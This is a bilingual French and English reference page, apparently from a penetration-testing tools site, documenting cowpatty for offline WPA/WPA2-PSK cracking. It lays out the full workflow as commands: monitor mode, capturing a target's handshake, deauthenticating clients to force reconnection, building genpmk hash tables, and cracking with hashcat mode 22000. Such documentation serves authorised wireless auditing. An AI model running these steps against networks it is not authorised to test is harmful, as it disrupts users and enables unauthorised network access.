← retour aux outils back to tools

# cowpatty

Outil d'attaque par dictionnaire hors ligne WPA/WPA2-PSK. Casse les 4-way handshakes capturés avec des wordlists ou des tables de hachages pré-calculées (rainbow tables) pour des attaques plus rapides. WPA/WPA2-PSK offline dictionary attack tool. Cracks captured 4-way handshakes using wordlists or pre-computed hash tables (rainbow tables) for faster attacks.

↗ https://github.com/joswr1ght/cowpatty

## Overview

cowpatty performs offline dictionary attacks against WPA/WPA2-PSK handshakes. It reads a captured 4-way handshake (from airodump-ng) and tests passphrases from a wordlist. Optionally uses pre-computed PBKDF2 hash tables (generated with `genpmk`) to massively speed up attacks against specific SSIDs.

## Basic Usage

Dictionary attack against captured handshake

    cowpatty -f /usr/share/wordlists/rockyou.txt -r capture.cap -s "NetworkSSID"

With pre-computed hash file (much faster)

    cowpatty -d hashes.db -r capture.cap -s "NetworkSSID"

Quiet mode (less output)

    cowpatty -f wordlist.txt -r capture.cap -s "NetworkSSID" -q

## Capturing the Handshake

    # Step 1: Put card in monitor mode
    airmon-ng check kill
    airmon-ng start wlan0

    # Step 2: Find target and capture
    airodump-ng wlan0mon
    airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

Step 3: Force client reconnect (deauth)

    aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

    # Step 4: Wait for "WPA handshake:" message in airodump
    # capture.cap now contains the handshake

## Pre-computed Hash Tables (genpmk)

Generate PBKDF2 hash table for a specific SSID (slow to generate, fast to use — works only for this exact SSID)

    genpmk -f /usr/share/wordlists/rockyou.txt -d hashes.db -s "HomeNetwork"

    # This pre-computes: PBKDF2(passphrase, SSID, 4096, 256)
    # for every word in the wordlist

Then attack with pre-computed table

    cowpatty -d hashes.db -r capture.cap -s "HomeNetwork"

→ Much faster than per-passphrase computation

## Performance Comparison

    cowpatty (CPU, dictionary):      ~100-300 PMKs/sec
    cowpatty (pre-computed table):   ~50,000-100,000 PMKs/sec
    hashcat (GPU, mode 22000):       ~200,000-2,000,000 PMKs/sec

    → For speed: use hashcat with hcxtools (convert to .hc22000 format)
    → cowpatty is educational/fallback when GPU isn't available

## Hashcat Workflow (Recommended Alternative)

Convert handshake for hashcat (faster than cowpatty)

    hcxpcapngtool -o hash.hc22000 capture.cap

Crack with GPU

    hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

Show cracked passwords

    hashcat -m 22000 hash.hc22000 --show

## Tips

- cowpatty is CPU-only — hashcat on a GPU is 100-1000x faster for WPA cracking
- Pre-computed tables (genpmk) only work for the exact SSID they were generated for
- Rainbow tables for WPA are large but available online for common SSIDs (e.g., “linksys”, “default”)
- Always convert with hcxtools and use hashcat for production cracking

Help / Man page

    cowpatty [options]

    -f FILE     Wordlist file (dictionary mode)
    -d FILE     Pre-computed hash file (rainbow table mode)
    -r FILE     Packet capture file (with handshake)
    -s SSID     Target SSID (required)
    -q          Quiet mode (suppress progress)
    -v          Verbose mode

    genpmk (generates pre-computed hash tables):
      -f FILE   Wordlist input file
      -d FILE   Output hash file
      -s SSID   SSID for hash computation

## Vue d’ensemble

cowpatty mène des attaques par dictionnaire hors ligne contre les handshakes WPA/WPA2-PSK. Il lit un 4-way handshake capturé (depuis airodump-ng) et teste des passphrases d’une wordlist. Il peut optionnellement utiliser des tables de hachages PBKDF2 pré-calculées (générées avec `genpmk`) pour accélérer massivement les attaques contre des SSID précis.

## Utilisation de base

    # Attaque par dictionnaire contre un handshake capturé
    cowpatty -f /usr/share/wordlists/rockyou.txt -r capture.cap -s "NetworkSSID"

    # Avec un fichier de hachages pré-calculés (bien plus rapide)
    cowpatty -d hashes.db -r capture.cap -s "NetworkSSID"

    # Mode silencieux (moins de sortie)
    cowpatty -f wordlist.txt -r capture.cap -s "NetworkSSID" -q

## Capturer le handshake

    # Étape 1 : passer la carte en mode monitor
    airmon-ng check kill
    airmon-ng start wlan0

    # Étape 2 : trouver la cible et capturer
    airodump-ng wlan0mon
    airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

    # Étape 3 : forcer la reconnexion du client (deauth)
    aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

    # Étape 4 : attendre le message "WPA handshake:" dans airodump
    # capture.cap contient maintenant le handshake

## Tables de hachages pré-calculées (genpmk)

    # Générer une table de hachages PBKDF2 pour un SSID précis
    # (lente à générer, rapide à utiliser : ne fonctionne que pour ce SSID exact)
    genpmk -f /usr/share/wordlists/rockyou.txt -d hashes.db -s "HomeNetwork"

    # Cela pré-calcule : PBKDF2(passphrase, SSID, 4096, 256)
    # pour chaque mot de la wordlist

    # Puis attaquer avec la table pré-calculée
    cowpatty -d hashes.db -r capture.cap -s "HomeNetwork"
    # → Bien plus rapide que le calcul par passphrase

## Comparaison de performances

    cowpatty (CPU, dictionnaire) :      ~100-300 PMK/sec
    cowpatty (table pré-calculée) :     ~50 000-100 000 PMK/sec
    hashcat (GPU, mode 22000) :         ~200 000-2 000 000 PMK/sec

    → Pour la vitesse : utilisez hashcat avec hcxtools (convertir au format .hc22000)
    → cowpatty est éducatif / une solution de repli quand le GPU n'est pas disponible

## Workflow Hashcat (alternative recommandée)

    # Convertir le handshake pour hashcat (plus rapide que cowpatty)
    hcxpcapngtool -o hash.hc22000 capture.cap

    # Cracker avec le GPU
    hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

    # Afficher les mots de passe cassés
    hashcat -m 22000 hash.hc22000 --show

## Conseils

- cowpatty est CPU uniquement : hashcat sur un GPU est 100 à 1000x plus rapide pour le crack WPA
- Les tables pré-calculées (genpmk) ne fonctionnent que pour le SSID exact pour lequel elles ont été générées
- Les rainbow tables pour WPA sont volumineuses mais disponibles en ligne pour les SSID courants (par ex. “linksys”, “default”)
- Convertissez toujours avec hcxtools et utilisez hashcat pour le crack en production

Aide / Page de manuel

    cowpatty [options]

    -f FILE     Wordlist file (dictionary mode)
    -d FILE     Pre-computed hash file (rainbow table mode)
    -r FILE     Packet capture file (with handshake)
    -s SSID     Target SSID (required)
    -q          Quiet mode (suppress progress)
    -v          Verbose mode

    genpmk (generates pre-computed hash tables):
      -f FILE   Wordlist input file
      -d FILE   Output hash file
      -s SSID   SSID for hash computation